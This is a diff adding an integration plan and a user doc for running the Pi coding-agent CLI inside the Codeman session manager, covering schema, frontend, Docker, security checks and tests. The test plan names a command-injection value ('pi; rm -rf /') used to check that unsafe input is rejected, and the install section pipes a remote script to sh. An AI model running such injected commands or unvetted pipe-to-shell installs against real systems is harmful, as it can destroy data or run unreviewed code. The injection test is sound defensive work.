+- `--api-key <key>`: ⚠️ **never wire this.** It puts a provider secret on the spawn command line,
+  which is exactly what the socket-scoped `tmux setenv` discipline exists to prevent (visible in
+  `ps`, tmux server state, and logs). Listed here so nobody "helpfully" adds it later.
+- `--tui-mode` (released in 0.84.0): never passed by Codeman. The main-screen default is the
+  friendly case for the browser terminal, and fullscreen remains the user's own runtime choice via
+  `/settings` (§2.2 is designed for that). `--use-theme` (still unreleased) likewise.
+- `--name <name>` (`-n`): nice for `/resume` readability, but names contain spaces and would be the
+  first user-controlled value needing real shell quoting in `buildSpawnCommand`. Defer.
+- `--no-session`: ephemeral mode fights respawn/resume. Defer.
+- `-p`/`--print`, `--mode json`, `--mode rpc`: non-interactive transports, a different product shape
+  (§9). Note upstream already shipped a breaking change to JSON-mode `message_update` framing, so
+  any future consumer must assemble deltas.
+- `--tools` / `--exclude-tools` / `--no-tools` / `--no-builtin-tools` (`-t`/`-xt`/`-nt`/`-nbt`): a
+  genuinely useful "read-only session" affordance (0.84.0 also added a `defaultTools` setting), but
+  it needs UI design. Follow-up.
+- `-r`/`--resume` (interactive picker), `--fork`, `-e`/`--extension`, `--skill`, `--system-prompt`,
+  `--append-system-prompt`, `--export`, `--models`, `--list-models`: not session-manager concerns in
+  v1. (`-e` matters later: §9's extension follow-up notes CLI extensions load before trust
+  resolution.)

Search dirs: `~/.local/bin`, `/usr/local/bin`, `~/.bun/bin`, `~/.npm-global/bin`, `~/bin`. Add the `pi --version` sanity probe from §2.6 (execFileSync, cached, vitest-skipped). Export `resolvePiDir()`, `isPiAvailable()`, `getPiCliVersion()` |
+| `src/utils/index.ts`                | Re-export the three (resolver block `:30-36`)                                                                |

+| `src/config/dependency-registry.ts` | New entry after antigravity's (`:101-108`; file unchanged since 2026-08-06): `{ id: 'pi', label: 'Pi CLI', category: 'core', required: false, usedBy: ['Pi sessions'], resolvers: [{ match: ALL, resolver: { kind: 'path', bins: ['pi'], versionArg: '--version' } }] }` |

+| `src/remote-hosts.ts`               | `defaultRemoteCommandForMode` `:92-118`: `pi: remoteLoginShellCommand('pi')` (`remoteLoginShellCommand` at `:88-90`). Login-shell routing is mandatory (the #209/e803186 lesson: ssh remote-command exec sees only sshd's minimal PATH, and npm's global bin is usually only on PATH via rc files) |
+
+### Phase 2: Web layer
+
+| File                               | Change                                                                                          |
+| ---------------------------------- | ----------------------------------------------------------------------------------------------- |
+| `src/web/schemas.ts`               | `'PI_'` in `ALLOWED_ENV_PREFIXES` `:125` **and** the prose error message `:163` (which now also names `CLAUDE_CONFIG_DIR`; the `ALLOWED_ENV_KEYS` exact-key set needs no change); new `PiConfigSchema` after `AntigravityConfigSchema` (`:256-271`), mirroring §3's regexes, `.optional()`, not `.strict()`; `piConfig` on `CreateSessionSchema` (`:299` area) and `QuickStartSchema` (`:712` area); `'pi'` in all three mode enums (`:285`, `:708`, cron `agentType` `:1214`; they are byte-identical and there is no fourth); `pi` key in `RemoteCommandOverridesSchema` `:426-436` (it is `.strict()`, so an unknown key is a hard error today; one edit covers both remote `:501` and docker `:577` reuse) |
+| `src/web/routes/session-routes.ts` | Thread `piConfig` through create (`POST /api/sessions`): disk-strip exclusion chain `:705-712`, availability gate `:782-790` (+`isPiAvailable` with install-hint error), model resolution `:825-838` (`mode === 'pi' ? body.piConfig?.model : ...`), clamp call `:845`, Session ctor `:860` (`piConfig: mode === 'pi' ? gatedPiConfig : undefined`). Quick-start (`POST /api/quick-start`, handler `:2559`): remote-case config rejection `:2614-2621` and docker-case `:2645-2652` (+`piConfig`: per-CLI config does not cross ssh or the bind mount), hooks-scaffold exclusions `:2801`/`:2809`, availability gate `:2744-2752` (local-case branch only), env-strip chains `:2833`/`:2863`, model resolution `:2885`, clamp `:2897`, ctor `:2913`. **Extend `clampExternalCliBypassForOwner()`** (`:305-336`, doc comment above): fifth param + return field; pi joins the **materialize** branch per §5.2. Alt-screen replay-strip at `:2275` unchanged (pi not in it, §2.2) |
+| `src/web/routes/system-routes.ts`  | `GET /api/pi/status` after the antigravity handler (`:418-426`; file unchanged since 2026-08-06), same shape plus `version` (§2.6); update the "CLI Integrations" prose comment `:377` |
+| `src/web/server.ts`                | Restore path: `piConfig: muxSession.mode === 'pi' ? savedState?.piConfig : undefined` after `:2636`. **`renderIndexHtml` CLI-availability injection `:1375-1407`**: add `isPiAvailable` to the dynamic-import tuple (`:1382`) and a `pi` key to the injected object (`:1399`). Per §2.8 a missing key reads as *available*, so this is a correctness edit, not polish |
+
+### Phase 3: Frontend
+
+The antigravity touchpoints are the template. Since the first draft, the settings-surface overhaul
+moved most anchors and added one **new touchpoint** (the clone-repo Brain picker below).
+`constants.js`, `api-client.js`, `ralph-wizard.js`, `cron-ui.js`, `webview-tabs.js` and `sw.js`
+still need **no** changes (re-verified zero mode coupling at f39beb3; cron-ui reads the `<select>`
+generically and special-cases only `shell`).
+
+| File                | Change                                                                                                 |
+| ------------------- | ------------------------------------------------------------------------------------------------------ |
+| `index.html`        | Welcome button `welcomePiBtn` after Gemini's (antigravity's is `:347`; there is deliberately no codex welcome button), `display:none` default, `onclick="app.setRunMode('pi'); app.runPi()"`, text `Run Pi`; run-mode-option row with `.run-mode-dot.pi` after antigravity's (`:526-528`), before the `.run-mode-sep` `:529`; cron `<option value="pi">Pi</option>` after `:803`; **NEW: the clone-repo "Brain" picker** (`cloneCaseBrain`, `:2476-2486`): add `<option value="pi" data-cli="pi">Pi</option>` after the antigravity option `:2483` (gating is automatic: session-ui.js `:2107-2115` hides options whose `data-cli` fails `isCliAvailable`, and `:2250` reads the value at clone time); docker image hint `:2624` (`claude/codex/gemini/opencode/agy` + pi). No per-CLI remote-command override field needed (only codex has one, `:2559`) |
+| `session-ui.js`     | `@fileoverview` mode list `:2`; `run()` dispatch branch after `:400-402`; `_refreshRunModeAvailability` list `:468` (+`'pi'` as a quoted literal, the static test in §6 demands it); short-label ternary `:565` (+`'Run PI'`); **the `runMode` setter whitelist `:2949-2960`** (§2.8, the deceptive one); new `runPi()` modeled on `runAntigravity()` `:1170-1219`: same remote/docker skip, same `_beginSessionLaunchStatus` frame, probes `/api/pi/status` reading `(await res.json()).data.available` (envelope!), **sends no `piConfig` at all** (no bypass exists and trust defaults are pi's own; envOverrides still sent for local cases), install-hint error text matching Phase 1's; `isAltMode` `:1233` and `isExternalCli` `:1263` four-way comparisons (+pi) |
+| `settings-ui.js`    | `applyWelcomeCliVisibility()` `:1176-1191`: add `['welcomePiBtn', 'pi']`                               |
+| `app.js`            | Response-viewer agent label `:1998-2009` (+pi -> `'Pi'`); tab badge ternary `:3884` (`<span class="tab-mode pi" aria-hidden="true">pi</span>`; claude stays badge-less); kill-title ternary `:5046-5057` (`Kill Tmux & Pi`)                                                    |
+| `panels-ui.js`      | Command-palette `labels` map `:430` (+`pi: 'Pi'`; the `\|\| mode` fallback means this is cosmetic, not load-bearing) |
+| `mobile-overview.js`| `MOBILE_OVERVIEW_RUN_MODES` `:55-62`: `{ mode: 'pi', label: 'Pi', short: 'Pi' }` after antigravity `:60`, before the shell entry. Nothing else: the Run-button badge (`:499`) and menu builder (`:554-556`) consume the list generically, and the buttons carry `btn-toolbar btn-run mode-pi`, which is exactly why they inherit the §2.9 cascade problem and its fix |
+| `terminal-ui.js`    | Badge-row comment `:1750` only (the badge itself is a raw `s.mode` passthrough, no list to extend). `_sessionUsesServerMouseStrip` unchanged (§2.2). `_updateLocalEchoState` unchanged for v1 (§2.10: pi lands on `'buffer'` via the fallthrough; only touch it if E2E forces the `'off'` fallback) |
+| `i18n.js`           | `'Run Pi': '运行 Pi'` in the zh-CN table (`:102-107`, matches the welcome-button text; short labels like `Run PI` are deliberately untranslated, as are the other modes')                                              |
+| `styles.css`        | Tab badge `.session-tab .tab-mode.pi` after `:2157` (`background: rgba(244,114,182,0.2); color: #f472b6;`); add `.session-tab .tab-mode.pi` to the light-skin ink list `:325-336` (gemini + antigravity are its precedent, `:332`); welcome `.welcome-btn-pi` + `:hover` after antigravity's `:3366` block, rose family (e.g. base `linear-gradient(135deg, #33121f 0%, #9d174d 55%, #be185d 100%)`, border `rgba(244,114,182,0.4)`, text `#fce7f3`); toolbar gradient pair `.btn-toolbar.btn-run.mode-pi, .btn-toolbar.btn-run-gear.mode-pi` + `:hover` after `:4420`'s antigravity block; `.run-mode-dot.pi { background: #f472b6; }` in the dot list `:4506-4516`; **and the §2.9 rule inside the Daylight block** next to codex's `:13787` (e.g. `background: linear-gradient(135deg, #be185d, #f472b6); border-color: #be185d; color: #fff1f7;`). The dot needs no skin-block entry (the block overrides only claude/opencode/codex/shell dots; gemini/antigravity dots already fall through correctly) |
+| `mobile.css`        | Phone toolbar block after `:910` inside the `@media (max-width: 430px)` opened at `:338`: `mode-pi` base + `:active`, **with `!important` on background/border-color/color** (§2.9; antigravity's block `:895-910` omits it and is dead); light-skin override entry after `:2985` with the same four-skin `html:is(...)` prefix as its siblings |
+
+### Phase 4: Docker image and installer
+
+Both files are unchanged since the 2026-08-06 verification; all anchors stand.
+
+- `docker/agent.Dockerfile`: a **separate** `RUN` step after the antigravity block (`:38-45`), not a
+  fifth line in the shared npm block (`:31-36`), because pi documents `--ignore-scripts` and that
+  flag must not silently change how the other four install:
+
+  ```dockerfile
+  # Pi (pi.dev). Upstream documents --ignore-scripts (pi needs no lifecycle scripts);
+  # kept out of the shared npm block above so the flag cannot affect the other CLIs.
+  RUN npm install -g --ignore-scripts @earendil-works/pi-coding-agent \
+   && npm cache clean --force \
+   && pi --version
+  ```
+
+  Implementation checklist item: the gid-0 pre-created dirs at `:64-68` include `.claude/projects`
+  and `.codex/sessions`; verify whether the cred-seed copy into `~/.pi/agent` creates its target
+  dir in a fresh container or whether `.pi/agent` must join that `mkdir` line. Rebuild with
+  `node scripts/build-agent-image.mjs --no-cache` (the script itself needs no change; nothing in it
+  is CLI-specific). The cached npm layer has silently frozen a CLI at a broken version before; see
+  `docs/docker-cases.md`.
+- `install.sh` (six edit sites, all verified): `PI_SEARCH_PATHS` block after `:125` (mirror the
+  resolver's dirs); `check_pi` / `get_pi_path` pair inserted at `:531` (antigravity's pair spans
+  `:504-530`); the satisfying-AI-CLI chain `:2032-2063` (`has_pi` local at `:2037` area, detect
+  block after `:2059`, widen the five-way test at `:2061` and the warn text at `:2063`); the menu
+  option-4 text `:2070`; the skip-path hints `:2115-2116` (add
+  `npm install -g --ignore-scripts @earendil-works/pi-coding-agent   (Pi)`); the final no-CLI
+  reminder `:2416-2423` (add `check_pi` to the condition and a pi line to the echo block).
+  Detection plus a hint only; do **not** add an auto-install path in this change.
+
+### Phase 5: Docs
+
+- `docs/pi-integration.md` (**new**, user-facing): install (both installers uninstall via npm), auth
+  (`/login` OAuth for six providers vs API keys; `pi auth check` for preflight; Claude Pro/Max
+  third-party harness usage bills as Anthropic "extra usage" per token, not plan limits; OpenRouter
+  login supports pasting the redirect URL, which matters over remote SSH), what Codeman wires up
+  and deliberately does not (§3, incl. never passing `--tui-mode`), the tmux extended-keys note
+  from §2.7 with the manual `~/.tmux.conf` fallback, Docker/remote behaviour (in-container sessions
+  invisible host-side), the trust model in §1 words, known gaps.
+- `CLAUDE.md`: tech-stack line (six CLIs + `SessionMode` union), the env-prefix gotcha bullet, the
+  multi-CLI prefix-discipline bullet, the "External CLI modes" key-pattern paragraph (note it now
+  also carries the codex predictive-echo block; pi's echo-policy decision from §2.10 belongs in the
+  same paragraph), the `src/utils/` resolver list.
+- `docs/architecture-invariants.md`: the external-CLI-modes section. ⚠️ Its anchor was already
+  renamed once to `#external-cli-modes-opencode-codex-gemini-antigravity` while CLAUDE.md's link
+  text still shows the old name; when renaming again for pi, update every inbound link (CLAUDE.md
+  and this file).
+- `docs/docker-cases.md` (cred-seeding table + supported modes + image contents),
+  `docs/remote-sessions.md` (`RemoteCommandMode`), `docs/cron-guide.md` + `docs/cron-discovery.md`
+  (`agentType` enum; note the readiness caveat from §6's cron paragraph),
+  `docs/security-architecture.md` (env prefix allowlist row).
+- `README.md` + `README.zh-CN.md`: six CLIs.
+- `package.json` keywords: `pi`.
+- Update the issue #206 thread when it ships.
+
+---
+
+## 5. Security checklist
+
+1. **Command injection.** Every `PiConfig` value is regex-validated in `buildPiCommand()` before
+   entering the `bash -c "..."` string; anything failing validation is dropped, not escaped
+   (matching the four existing builders). No user string reaches the spawn line unvalidated. Pinned
+   by a "rejects unsafe values" test per field.
+2. **Multi-user clamp, materialize branch.** `approveProjectTrust` is the privilege-shaped field: it
+   makes pi execute repository-supplied TypeScript and install project packages.
+   `clampExternalCliBypassForOwner()` (`session-routes.ts:305-336`) has two branches, and pi belongs
+   in the **gemini-style materialize branch**, not the codex/antigravity only-if-sent branch:
+   pi's absent-config default is an *interactive trust prompt the session user can answer
+   themselves in the terminal*, so merely omitting `--approve` is not a clamp. For a non-granted
+   owner, materialize `{ ...(piConfig ?? {}), approveProjectTrust: false }` so `buildPiCommand`
+   always emits `--no-approve` and the prompt never appears. Both call sites (`:845`, `:2897`)
+   widen. This helper still has **zero test coverage** (re-confirmed at f39beb3); §6 adds the first
+   tests.
+3. **Secrets stay off the command line.** `PI_*` overrides flow through `applyEnvOverrides()` /
+   socket-scoped `tmux setenv`, never inlined into the spawn string. No `-e` at container create
+   time. And `--api-key` is never wired (§3): it would put a provider secret into `ps`/tmux state.
+4. **Env allowlist not widened.** Only the `PI_` prefix is added; the provider keys stay out (§2.4)
+   and `ALLOWED_ENV_KEYS` is untouched. Pinned by a test that `PI_OFFLINE` passes and
+   `ANTHROPIC_API_KEY` still fails validation.
+5. **Docker seeding, not sharing.** Per §2.5: RO mount then copy, so refreshed OAuth tokens never
+   write back to the host; bind mounts stay excluded from `docker commit` so exports remain
+   secret-free.
+6. **Remote SSH.** `pi` mode goes through `defaultRemoteCommandForMode` and therefore
+   `buildSshConnectionArgs()`. No hand-built ssh line anywhere.
+7. **No sandbox claims.** Pi documents that it has no sandbox and no permission prompts, and that
+   extensions run with the user's full permissions. Codeman docs must say plainly that a pi session
+   can read, write and execute anything the Codeman user can, and point at Docker cases as the
+   isolation story. Do not imply the trust prompt is a safety boundary (upstream itself says it is
+   not). Worth one doc sentence: `pi auth print-api-key` / `print-bearer-token` (0.83.0) and
+   `pi auth check` (0.84.1) mean a pi session can print its own provider credentials by design;
+   isolation, again, is Docker.
+8. **Loud-vs-silent audit.** Before review, walk §2.8's silent list and confirm each site has its
+   pi branch; the loud ones the compiler already caught.
+
+---
+
+## 6. Test plan
+
+- `test/pi-mode.test.ts` (**new**, modeled on `test/antigravity-mode.test.ts`, 125 lines, no port;
+  file unchanged since 2026-08-06 so its structure remains the template):
+  `CreateSessionSchema`/`QuickStartSchema` accept a pi config; unsafe `model`/`provider`/
+  `resumeSessionId` values are rejected (`'pi; rm -rf /'` shapes); `buildSpawnCommand({ mode: 'pi', ... })`
+  emits expected flags, drops invalid ones, emits `--no-approve` for `approveProjectTrust: false`
+  and `--approve` for `true`, and skips `-c` when a `resumeSessionId` is present;
+  `defaultDockerCommandForMode('pi') === 'exec pi'` and
+  `defaultRemoteCommandForMode('pi') === 'exec "${SHELL:-/bin/sh}" -i -l -c \'pi\''`;
+  `isExternalCliMode('pi') === true`, `isAltScreenStripMode('pi') === false`; the env pair
+  (`PI_OFFLINE` accepted, `ANTHROPIC_API_KEY` rejected), mirroring antigravity-mode `:49-63`.
+- **First-ever coverage for `clampExternalCliBypassForOwner`** (still nothing in `test/` touches
+  it): cover pi's materialize branch (absent config still yields `approveProjectTrust: false` for a
+  non-granted owner; a sent `true` is forced to `false`; granted owner passes through) and, while
+  there, pin the three existing modes' behavior. Prefer exporting the helper for direct unit tests
+  over a heavier multi-user route fixture; either way it lives under `test/routes/`.
+- `test/run-mode-ui.test.ts`: extend `loadUi()`'s stub lists (welcome-button ids, mode buttons,
+  `ALL_OFF`) and add pi welcome/dropdown gating cases; note the static parser test
+  `'gates every mode the run-mode menu actually offers'` (`:433-456`) picks up the new
+  `data-mode="pi"` from index.html automatically and **fails until** `_refreshRunModeAvailability`
+  contains a quoted `'pi'`, which is exactly the regression it exists for. Add a
+  `describe('Pi quick start')` modeled on the antigravity one (`:840`) driving `runPi()` against a
+  stubbed `/api/pi/status` + `/api/quick-start`, asserting the posted body has `mode: 'pi'` and
+  **no `piConfig`**, and that the envelope is unwrapped. (The short-label assertion pattern is at
+  `:82`, `'Run AG'`.)
+- `test/render-index-html.test.ts` `:141`: the injected `window.__codemanCliAvailable` is asserted
+  with an exact `toEqual` and now carries **seven** keys (claude, opencode, codex, gemini,
+  antigravity, cloudflared, and since 1.12+ `git`), so it **must** gain the `pi` key (and the
+  resolver mock an `isPiAvailable`); its comment explains why: a dropped key silently un-gates
+  (§2.8).
+- `test/routes/system-routes.test.ts`: `GET /api/pi/status` shape, modeled on the antigravity
+  describe (`:816-838`) + resolver mock (`:84-87`); file unchanged since 2026-08-06.
+- `test/mobile-overview.test.ts`: `:375` is an exact-array `toEqual` over the run-menu modes and
+  **will fail until updated** to include `'pi'` (the second exact-array at `:366`,
+  `['claude', 'shell']`, is a gating case and stays as-is); the sibling static parser then covers
+  the new entry automatically. The no-hex-literals guard only scans `.mobile-overview*` rules, so
+  pi's `mode-pi` colors in mobile.css do not trip it.
+- `test/local-echo-codex-gating.test.ts` (§2.10): once the buffer-policy decision is confirmed in
+  E2E, add `'pi'` to the `it.each(['claude', 'gemini', 'opencode'])` lists (`:193`, `:376`) so the
+  chosen policy is pinned.
+- `test/skin-themes.test.ts`: will NOT trip (it enumerates skins, not modes); run it anyway since
+  styles.css is touched. `test/mobile-header-buttons-policy.test.ts`: trips only if a header
+  button is added; pi adds none (welcome button and run-menu rows are outside `header-right`).
+- Cron: schema-level acceptance of `agentType: 'pi'` (the service consumes `SessionMode`
+  generically; `src/cron/` is unchanged since the first draft). Known, documented degradation: the
+  readiness poll (`cron-service.ts:515`) looks for `❯`/`tokens`, which pi never prints, so cron pi
+  jobs burn the ready-poll attempts and then send anyway. Acceptable for v1; note it in
+  `docs/cron-guide.md`.
+- Sweep with `npm run test:ci`. Never bare `npm test`. No new ports needed (all new/extended suites
+  are portless).
+
+---
+
+## 7. End-to-end verification (required before COM)
+
+Unit tests passing is not evidence the mode works (pi is not currently installed on the dev box, so
+step 1 is a real step). Before shipping:
+
+1. Install pi (`npm install -g --ignore-scripts @earendil-works/pi-coding-agent`), authenticate once
+   with `/login`.
+2. `curl -sk https://localhost:3000/api/pi/status | jq` reports `available: true`, the right path,
+   and a sane `version`.
+3. Create a **throwaway** case, launch a pi session from the Run dropdown, send a prompt from the
+   browser, confirm the reply renders and scrollback survives a tab switch. Do not touch
+   `w1`/`w2`/`w3`.
+4. **Local-echo policy gate (§2.10):** on a phone profile, type into the pi editor through the
+   buffer overlay (drive with `page.keyboard.type()`, never `app.sendInput()`, and force
+   `app._localEchoEnabled = true`; headless Chromium reports touch as false) and confirm pi's
+   composer renders the flushed text correctly on Enter. If it mis-renders, flip pi to the `'off'`
+   branch in `_updateLocalEchoState` and pin that instead.
+5. Visual pass on the **default skin** (the §2.9 finding makes this the load-bearing check, not a
+   formality): run-button gradient actually renders rose (not generic claude blue), dot, tab badge,
+   welcome button, kill-menu label; then a phone profile (toolbar `!important` colors and light-skin
+   overrides are the usual regressions).
+6. Kill and respawn the session; confirm `piConfig` round-trips through `state.json` and the pane
+   comes back with the same flags. Then `/clear`-style respawn via the Respawn tab.
+7. Extended keys (§2.7): in an attached terminal, verify whether Shift+Enter inserts a newline in
+   pi's editor with and without the socket-scoped options; record the outcome in
+   `docs/pi-integration.md` either way. While attached, also flip `/settings` to the fullscreen TUI
+   and back to confirm the no-strip decision holds (§2.2).
+8. Trust model: point a throwaway case at a repo containing `.pi/extensions`, confirm the trust
+   prompt appears interactively and that a multi-user non-granted session instead launches with
+   `--no-approve` (prompt never shown, extensions not loaded).
+9. **NOT RUN in this pass — an honest gap.** Docker case with `mode: 'pi'`: rebuild the agent image with `--no-cache`, confirm `pi --version`
+   inside the container **as the `agent` user**, confirm seeded auth works and a session starts
+   (this is exactly where the antigravity Docker path broke in 1.11.2: the CLI was never installed
+   in the image).
+10. **NOT RUN in this pass — the other gap.** Remote SSH case with `mode: 'pi'`: confirm the
+    login-shell wrapper resolves the npm global bin.
+11. Only then: changeset, `COM minor` (new capability, additive to the API surface).
+
+**Verification actually performed** (2026-08-13, pi 0.84.1, isolated `CODEMAN_INSTANCE=pi-beta`
+server on :5055 with its own tmux socket and data dir): steps 1-8 pass. Highlights:
+`/api/pi/status` resolved through the **search-dir fallback** (pi installed to `~/.npm-global/bin`,
+deliberately not on PATH) and reported
+`{available:true, path:'/home/arkon/.npm-global/bin', version:'0.84.1'}`; the real spawn line came
+out as `… COLORTERM=truecolor … && pi --approve --provider anthropic --thinking high`; `piConfig`
+round-tripped through `state.json` across a **full server restart**; the trust prompt appeared for a
+case containing `.pi/extensions` + `.pi/settings.json`, and `--no-approve` suppressed it
+(`This project is not trusted. Project .pi resources and packages are ignored.`); on the **default
+`daylight-blue` skin** the toolbar Run button computed to
+`linear-gradient(135deg, rgb(190,24,93), rgb(244,114,182))` — genuinely rose and **distinct from
+claude's blue**, so the §2.9 cascade trap is avoided; and flipping `/settings` to the fullscreen TUI
+put the pane into the alt screen (`alternate_on=1`), **empirically confirming §2.2**: had pi been in
+the strip list, Codeman would have stripped that switch and corrupted the session. Steps 9-10 need a
+Docker daemon and a remote host respectively.
+

+
+## 8. Effort estimate
+
+Calibrated against the real antigravity history, which is the honest baseline: the feature commit
+`26cbbe0` was 24 files, +638/-63, and it then took **four follow-up commits** (`e803186` login-shell
+routing, `292ba2c` ownership helpers, `5d28999` CLI gating incl. tests, `0d0b772` docs/installer/UI
+propagation) totaling roughly +600/-170 across ~43 file-touches to make the mode actually
+first-class. Budgeting only the feature-commit shape under-scopes by ~40%. This plan folds all four
+follow-up surfaces in from the start (login-shell routing in Phase 1, availability gating in Phases
+2-3, installer/docs propagation in Phases 4-5), so expect the full footprint in one pass:
+
+| Phase                 | Size                                                                       |
+| --------------------- | -------------------------------------------------------------------------- |
+| 1. Backend core       | ~260 lines across 9 files, one new file (resolver incl. version probe)     |
+| 2. Web layer          | ~110 lines across 4 files (incl. the clamp widening + availability inject) |
+| 3. Frontend           | ~175 lines across 10 files (enumerations + CSS in two sheets + skin block + the Brain picker option) |
+| 4. Docker + installer | ~45 lines, plus one `--no-cache` image rebuild                             |
+| 5. Docs               | one new doc, ~10 files touched                                             |
+| 6. Tests              | one new test file, 6 extended (2 of which fail loudly until updated), plus the first clamp coverage |
+
+---
+
+## 9. Out of scope, tracked as follow-ups
+
+- **A Codeman pi extension for real idle/completion events (highest value, now fully de-risked).**
+  Pi extensions are TypeScript modules with Node built-ins and npm deps available, so an HTTP POST
+  to `/api/hook-event` is trivial. The **`agent_settled`** event **shipped in 0.84.0** and is
+  documented for exactly this use case (fires only when pi will not continue on its own: after
+  auto-retries, auto-compaction and queued follow-ups; `ctx.isIdle()` is true inside the handler).
+  That is a genuine idle signal replacing output-silence heuristics, i.e. the same class of upgrade
+  hooks give Claude sessions. The bash tool exposes five env vars (`PI_SESSION_ID`,
+  `PI_SESSION_FILE`, `PI_PROVIDER`, `PI_MODEL`, `PI_REASONING_LEVEL`), injected per command. Bonus:
+  an extension can own the **`project_trust`** event (first yes/no wins, and CLI `-e` extensions
+  load *before* trust resolution), so Codeman could answer the trust prompt programmatically, a
+  cleaner mechanism than the `--approve` flag for both the single-user convenience case and the
+  multi-user deny case.
+- **Response viewer for pi.** Sessions are JSONL v3 under
+  `~/.pi/agent/sessions/--<cwd-dashed>--/<timestamp>_<uuid>.jsonl` with an `id`/`parentId` tree and
+  typed content blocks (text, image, thinking, toolCall); the cwd-derived dir name is trivially
+  computable host-side. Feasible, and it would justify flipping the Docker cred policy to share
+  `sessions/` RW like Codex.
+- **Mode-aware env allowlist.** Would let pi sessions accept provider keys without widening the
+  global list. Needs `ALLOWED_ENV_PREFIXES` to become a per-mode map plus mode context inside the
+  Zod refine.
+- **`--tools` / `--exclude-tools` / `--no-tools` / `--no-builtin-tools` read-only sessions** (plus
+  the 0.84.0 `defaultTools` setting). Real product value, needs UI.
+- **Predictive echo for pi's composer** if the §2.10 buffer decision does not hold up in practice:
+  teach `PredictiveEchoAddon` pi's composer row the way `isCodexComposerRow` handles codex's.
+- **`--mode json` / `--mode rpc`, and upstream's experimental remote-session client APIs**
+  (transport-neutral `PiClient`, CBOR protocol, Unix-socket transport, `RemoteSession` controller,
+  still unreleased as of 0.84.1). A potential non-PTY integration path, a different architecture
+  from the tmux+PTY model. Note the already-shipped breaking change to `message_update` framing
+  (delta-only): any consumer must assemble deltas between `message_start`/`message_end`.
+- **`--name` for session labels.** Blocked on shell-quoting a user string in `buildSpawnCommand`.
+

+## 10. Risks
+
+| Risk                                                                | Mitigation                                                                     |

+| Fullscreen TUI mode (shipped 0.84.0, runtime-switchable)            | Already designed for: pi stays OUT of the strip list, so a user flipping `/settings` to fullscreen gets opencode-like alt-screen behavior, not corruption. §7 step 7 tests the flip explicitly |
+| The buffer local-echo overlay fights pi's live composer             | §2.10: explicit E2E gate (§7 step 4) with the one-line `'off'` fallback; predictive echo for pi is a tracked follow-up, not a v1 blocker |
+| Pi moves fast (pre-1.0; 9 releases in the 7 weeks before 0.84.1)    | Keep the flag surface small; every flag validated and droppable; nothing pinned in the Dockerfile beyond the `--no-cache` rebuild cadence.

+# Pi (pi.dev) sessions
+
+Codeman can drive [Pi](https://pi.dev) (`@earendil-works/pi-coding-agent`, MIT) as a
+session backend, alongside Claude Code, OpenCode, Codex, Gemini and Antigravity.
+`pi` is a sixth **run mode**: its own PTY, its own tmux session, its own tab colour
+(rose). It is not a location overlay like Docker or remote-SSH cases, and it is not
+a web tab.
+
+Tracking issue: [#206](https://github.com/Ark0N/Codeman/issues/206). The design
+rationale behind each decision below lives in `docs/pi-integration-plan.md`.
+
+## Install
+
+```bash
+npm install -g --ignore-scripts @earendil-works/pi-coding-agent
+# or
+curl -fsSL https://pi.dev/install.sh | sh
+```
+
+Both installers end up going through global npm, so either one uninstalls with
+`npm uninstall -g @earendil-works/pi-coding-agent`.
+
+Codeman finds the binary via `which pi` and then the usual global-bin locations
+(`~/.local/bin`, `/usr/local/bin`, `~/.bun/bin`, `~/.npm-global/bin`, `~/bin`).
+
+**`pi` is a short, generic name**, so unlike the other CLI resolvers Codeman does
+not trust a `which` hit on its own: it runs `pi --version` once and requires
+semver-shaped output. Anything else is rejected as "not installed" and the
+rejected path is logged. Check what it resolved:
+
+```bash
+curl -s localhost:3000/api/pi/status | jq
+# { "available": true, "path": "/home/you/.local/bin", "version": "0.84.1" }
+```
+
+That endpoint carries `version` on top of the shape the sibling `/api/*/status`
+endpoints return, precisely so a misresolution is visible rather than presenting
+as "the mode just doesn't work".
+
+## Authenticate
+
+Pi supports 15+ providers. Two ways in:
+
+- **OAuth subscription login** — run `/login` inside a pi session. Six providers
+  support it: ChatGPT Plus/Pro, Claude Pro/Max, GitHub Copilot, xAI, OpenRouter
+  and Radius. Credentials land in `~/.pi/agent/auth.json` and pi refreshes them
+  itself. OpenRouter's flow accepts a pasted redirect URL, which is what makes it
+  workable over remote SSH.
+- **API keys** — exported in the environment of the **Codeman server process**.
+
+⚠️ **Provider API keys cannot be sent as per-session `envOverrides`.** Pi reads
+about 34 provider variables (`ANTHROPIC_API_KEY`, `OPENAI_API_KEY`,
+`DEEPSEEK_API_KEY`, `HF_TOKEN`, `BASETEN_API_KEY`, …) that share no common prefix.
+Codeman's env allowlist is a single global list applied to every mode at once, so
+admitting bare provider keys for pi would widen the allowlist for Claude, Codex,
+Gemini and everything else too. Only the **`PI_*`** prefix was added, which covers
+every documented pi input: `PI_CODING_AGENT_DIR`, `PI_CODING_AGENT_SESSION_DIR`,
+`PI_PACKAGE_DIR`, `PI_OFFLINE`, `PI_SKIP_VERSION_CHECK`, `PI_TELEMETRY`,
+`PI_CACHE_RETENTION`, `PI_SHARE_VIEWER_URL`, `PI_HARDWARE_CURSOR`,
+`PI_EXPERIMENTAL`.
+
+`pi auth check` verifies credentials before you start a long run.
+
+Note if you authenticate with a Claude Pro/Max subscription: third-party harness
+usage bills as Anthropic "extra usage" per token rather than against plan limits.
+
+## What Codeman wires up
+
+`PiConfig` (per session, persisted in `state.json`, round-trips through respawn):
+
+| Field                 | Flag                                   | Notes                                                            |
+| --------------------- | -------------------------------------- | ---------------------------------------------------------------- |
+| `model`               | `--model <v>`                          | Accepts `provider/id` and a `:<thinking>` suffix (`sonnet:high`) |
+| `provider`            | `--provider <v>`                       | `anthropic`, `openai`, `google`, …                               |
+| `thinking`            | `--thinking <v>`                       | `off`/`minimal`/`low`/`medium`/`high`/`xhigh`/`max`              |
+| `continueSession`     | `-c`                                   | Skipped when `resumeSessionId` is set (the two conflict)          |
+| `resumeSessionId`     | `--session <v>`                        | Ids only, never paths                                             |
+| `approveProjectTrust` | `--approve` / `--no-approve` / nothing | Tri-state, see below                                              |
+
+Every value is regex-validated and **dropped** (not escaped) if it fails, because
+the result is interpolated into the pane's `bash -c "…"` command.
+
+The Run button sends **no `PiConfig` at all**: pi has no permission prompts to
+bypass, and project trust is a decision the person at the terminal makes.
+
+## What Codeman deliberately does NOT wire up
+
+- **`--api-key`.** Never. It would put a provider secret on the spawn command
+  line, visible in `ps`, tmux server state and logs. `PI_*` overrides go through
+  socket-scoped `tmux setenv` for exactly this reason.
+- **`--tui-mode`.** Pi's default main-screen TUI is the friendly case for a
+  browser terminal. The fullscreen mode (0.84.0) stays your own runtime choice via
+  `/settings`.
+- **`--name`, `--no-session`, `-p`/`--print`, `--mode json`, `--mode rpc`,
+  `--tools`/`--exclude-tools`, `-e`/`--extension`, `--skill`,
